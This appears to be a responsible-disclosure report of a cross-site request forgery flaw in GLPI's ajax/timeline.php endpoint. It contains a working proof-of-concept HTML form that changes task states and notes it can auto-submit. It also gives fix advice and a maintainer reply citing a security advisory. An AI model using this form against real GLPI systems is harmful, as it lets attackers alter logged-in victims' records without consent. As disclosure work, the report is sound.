Cross-Site Request Forgery (CSRF) in glpi-project/glpi
Reported on
Aug 5th 2021
✍️ Description
Attacker able to change any task state from changes/tickets/problems with CSRF attack because there is any CSRF protection for related endpoint.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can change a task state, this means only with visiting a site a task state will be changed.
🕵️♂️ Proof of Concept
1.fisrt user already should be logged in In Firefox or safari.
2.Open the PoC.html and click on submit button ( Also it can be auto-submit)
3.Here action task state with id 1
from problems id equal to 1
will be changed after clicking on submit button on PoC.html file.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://nocompany.with7.glpi-network.cloud/ajax/timeline.php" method="POST">
<input type="hidden" name="action" value="change_task_state" />
<input type="hidden" name="tasks_id" value="1" />
<input type="hidden" name="parenttype" value="Problem" />
<input type="hidden" name="problems_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Also for real attacks the submit button can be auto-submit.
💥 Impact
This vulnerability is capable of change any task state.
Fix
set a token with a length bigger that 16 characters in every requests body then attacker never can guess the url.
Also you cat turn Lax
to Strict
in cookies.
📍 Location
index.php#L1
Hi amammad, I created a Github security advisory for your 4 CSRF reports. https://github.com/glpi-project/glpi/security/advisories/GHSA-5qpf-32w7-c56p